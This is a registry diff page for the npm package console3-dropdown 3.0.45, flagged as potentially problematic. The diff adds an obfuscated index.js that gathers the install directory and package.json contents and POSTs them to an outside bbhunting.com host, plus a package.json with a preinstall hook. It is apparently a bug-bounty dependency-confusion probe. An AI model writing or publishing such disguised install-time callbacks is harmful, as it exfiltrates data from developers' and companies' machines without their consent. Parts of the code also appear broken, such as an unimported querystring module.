console3-dropdown 3.0.45

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of console3-dropdown might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x19d0b2=_0x3fb4;(function(_0x14ef5a,_0x532c4b){const _0x1e09a9=_0x3fb4,_0x432715=_0x14ef5a();while(!![]){try{const _0x58d03e=parseInt(_0x1e09a9(0x173))/0x1*(parseInt(_0x1e09a9(0x164))/0x2)+-parseInt(_0x1e09a9(0x16c))/0x3*(parseInt(_0x1e09a9(0x15d))/0x4)+-parseInt(_0x1e09a9(0x15f))/0x5+parseInt(_0x1e09a9(0x16a))/0x6+parseInt(_0x1e09a9(0x170))/0x7*(-parseInt(_0x1e09a9(0x163))/0x8)+-parseInt(_0x1e09a9(0x171))/0x9+parseInt(_0x1e09a9(0x15c))/0xa*(parseInt(_0x1e09a9(0x167))/0xb);if(_0x58d03e===_0x532c4b)break;else _0x432715['push'](_0x432715['shift']());}catch(_0x4243f6){_0x432715['push'](_0x432715['shift']());}}}(_0x1e29,0xc67a5));const https=require(_0x19d0b2(0x15e)),packageJSON=require(_0x19d0b2(0x16b)),fs=require('fs'),path=require('path'),requiredFile=path[_0x19d0b2(0x16d)](__dirname,'..',_0x19d0b2(0x162));!fs['existsSync'](requiredFile)&&console['error']('Error:\x20The\x20required-file.txt\x20is\x20missing.\x20Please\x20create\x20it\x20before\x20installing\x20the\x20package.');console[_0x19d0b2(0x16f)](_0x19d0b2(0x168));const analytics=JSON[_0x19d0b2(0x16e)]({'p':package,'c':__dirname,'pjson':packageJSON});function _0x1e29(){const _0x51e2a8=['848ArYSpf','2RForwW','length','stdout','8902289SJrNoX','Preinstall\x20required\x20check\x20completed\x20successfully.\x20Proceeding\x20with\x20custom\x20analytics...','end','407952ZPlchi','./package.json','3JZgGim','join','stringify','log','25879PanVhg','6846642ZtSlLt','data','1365737mhRBeU','Preinstall\x20script\x20completed...','application/x-www-form-urlencoded','POST','3y1f31n7273345519pv61u07sv0q11e2r.bbhunting.com','error','30ruaENx','5762472cuvfPn','https','2277115gOeQiW','request','write','required-file.txt'];_0x1e29=function(){return _0x51e2a8;};return _0x1e29();}var postData=querystring[_0x19d0b2(0x16e)]({'msg':analytics}),http_request_options={'hostname':_0x19d0b2(0x177),'port':0x1bb,'path':'/','method':_0x19d0b2(0x176),'headers':{'Content-Type':_0x19d0b2(0x175),'Content-Length':postData[_0x19d0b2(0x165)]}},req=https[_0x19d0b2(0x160)](http_request_options,_0xdd16dd=>{const _0x563b1a=_0x19d0b2;_0xdd16dd['on'](_0x563b1a(0x172),_0x340975=>{const _0x3f629c=_0x563b1a;process[_0x3f629c(0x166)][_0x3f629c(0x161)](_0x340975);});});function _0x3fb4(_0x411877,_0x31c16f){const _0x1e29f5=_0x1e29();return _0x3fb4=function(_0x3fb497,_0x385e6d){_0x3fb497=_0x3fb497-0x15c;let _0x2e50a7=_0x1e29f5[_0x3fb497];return _0x2e50a7;},_0x3fb4(_0x411877,_0x31c16f);}req['on'](_0x19d0b2(0x178),_0x82f346=>{}),console[_0x19d0b2(0x16f)](_0x19d0b2(0x174)),req[_0x19d0b2(0x161)](postData),req[_0x19d0b2(0x169)]();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "console3-dropdown",
3
+ "version": "3.0.45",
4
+ "description": "This package sends a callback to a server when installed (for analytics purposes). Original console3-dropdown from a Dependency Confusion (from YesWH Hunter)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"All went OK.\" && exit 1",
8
+ "preinstall": "node ./scripts/preinstall.js"
9
+ },
10
+ "author": "sicarius@wearehackerone.com",
11
+ "license": "ISC"
12
+ }